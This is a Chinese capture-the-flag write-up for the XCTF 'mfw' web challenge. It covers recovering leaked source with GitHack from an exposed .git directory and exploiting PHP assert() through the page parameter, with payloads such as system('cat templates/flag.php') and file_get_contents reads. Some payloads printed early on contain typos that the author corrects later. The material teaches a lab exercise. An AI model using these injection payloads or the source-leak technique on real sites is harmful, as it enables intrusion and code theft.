600字范文,内容丰富有趣,生活中的好帮手!
600字范文 > XCTF-攻防世界CTF平台-Web类——19 mfw(.Git源代码泄露 php的assert断言)

XCTF-攻防世界CTF平台-Web类——19 mfw(.Git源代码泄露 php的assert断言)

时间:2020-03-18 19:08:49

相关推荐

XCTF-攻防世界CTF平台-Web类——19 mfw(.Git源代码泄露 php的assert断言)

打开题目地址:

是一个作者用php写的网站

在About页面,作者介绍他使用了Git、PHP、Bootstrap

之后我们查看页面源代码:

在每个页面的注释里都有一个隐藏页面:?page=flag,提示flag应该就在这个页面。我们也注意到home、contact和about页面都是通过访问index.php页面以GET方式的page参数来跳转页面的:?page=home、?page=contact、?page=about。

所以我们直接访问:

http://111.200.241.244:60434/?page=flag

但是没有返回任何东西,这里肯定是有问题的,只是现在还没出现

查看页面源码:

也没有什么新的发现

之后尝试扫描后台:

找到一个http://111.200.241.244:60434/.git/,作者开始也介绍他使用了Git、PHP、Bootstrap。这是创建 git 仓库时,git就会创建的.git目录。该目录包含让git能够正常工作所需的所有信息:

.git 文件夹介绍:

HEAD可以理解为指向你正在使用的分支的顶端的指针。这表明分支 (branch)和标签(tag)只不过是一个指向提交的指针。这就意味着,即使你删掉了你要删除的分支和标签,他们指向的提交依然还在那里,只不过删除后难获取这些提交更困难一些。

config(配置)该文件包含你的仓库配置,比如远程的 url ,你的邮箱和用户名等。每次你在控制台使用 git config… 都会对这里产生影响。

description(描述)供 gitweb ( github 的一种前身) 使用,显示仓库的描述。

hooks(钩子)这是一个有趣的特性。 Git 提供了一套脚本,可以在每个有意义的 Git 阶段自动运行。这些被称为钩子的脚本可以在提交 (commit)、变基 (rebase)、拉取 ( pull ) 操作的前后运行。脚本命预示着它的执行时机。如我们可以编写 pre-push 的作为钩子,进行推送代码前的检查。

info(信息)你可以将不想被 git 管理的文件记录到 .gitignore 文件中。排除文件的意思是不想共享这个文件。例如你不想共享你的 IDE自定义配置,将其添加到.gitignore 文件中即可。

存在Git源代码泄漏,可以使用Githack项目.git 泄漏利用工具,可还原历史版本,下载网页代码。

Githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码。

GitHack项目地址:Githack(/BugScanTeam/GitHack)

工作流程

1.尝试获取 packs克隆

2.尝试目录遍历克隆

3.尝试从缓存文件(index)、commit记录中恢复

不需要安装其它 Python 库,只需要有 git 命令

使用方法:

python GitHack.py http://111.200.241.244:60879/.git/

还原后的文件在 dist/ 目录下,但是管理员没有给我们的登录开通权限,所以没办法尝试从缓存文件(index)、commit记录中恢复下载其他文件:

可以看到缓存文件index中有index.php、templates/about.php、templates/contact.php、templates/flag.php、templates/home.php,

我们可以在浏览器中也访问到他们,但是查看不到他们的源代码:

我们开始访问的home、contact和about页面都是通过包含templates/about.php、templates/contact.php、templates/home.php的代码来显示的。

下载其他项目文件是没有问题的:

python GitHack.py /BugScanTeam/GitHack

我们直接分析index.php的源代码:

<?php//获得GET方式page变量的值,如果没有,则设置为homeif (isset($_GET['page'])) {$page = $_GET['page'];} else {$page = "home";}//将page变量拼接成一个templates文件夹下的php文件,$file = "templates/" . $page . ".php";//判断file中是否有" .. ",如果有则直接退出// I heard '..' is dangerous!assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look niceassert("file_exists('$file')") or die("That file doesn't exist!")?>

strpos() 函数:

查找子字符串在字符串中第一次出现的位置

断言(assert)的用法:

assert() or

作用类似于:

if(假设成立){程序正常运行;}

else{报错&&终止程序!}

程序通过获得GET方式page变量的值,来访问templates文件夹下的php文件,且$file文件路径不能包含“…”。

所以我们的输入就是通过GET方式的page变量,来访问templates/flag.php。利用断言的方式来执行,因为断言都写在一行,所以我们可以后面用“//”注释掉防止代码报错:

http://111.200.241.244:60879/?page=1') or system("cat templates/flag.php");//

或者其他php函数读取文件内容也可以:

http://111.200.241.244:60879/?page=`’) or print_r(file_get_contents(‘templates/flag.php’);//

http://111.200.241.244:60879/?page=') or print_r(file_get_contents('templates/flag.php');#

上面输入错误了,有两个函数有两个右括号)),少了个括号

http://111.200.241.244:60879/?page=%27)%20or%20print_r(file_get_contents(%27templates/flag.php%27));//

url编码之后可以正常执行:

?page=’)%20or%20print_r(file_get_contents(‘templates%2fflag.php’))%3b%23

http://111.200.241.244:60879/?page=1%27)%20or%20highlight_file(“templates/flag.php”);//

其他的WEB安全-常见源码泄露

参考文章:

/s?id=1658214636190604169&wfr=spider&for=pc

/silence1_/article/details/89741733

https://lddp.github.io//05/10/WEB-%E6%BA%90%E7%A0%81%E6%B3%84%E6%BC%8F/

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。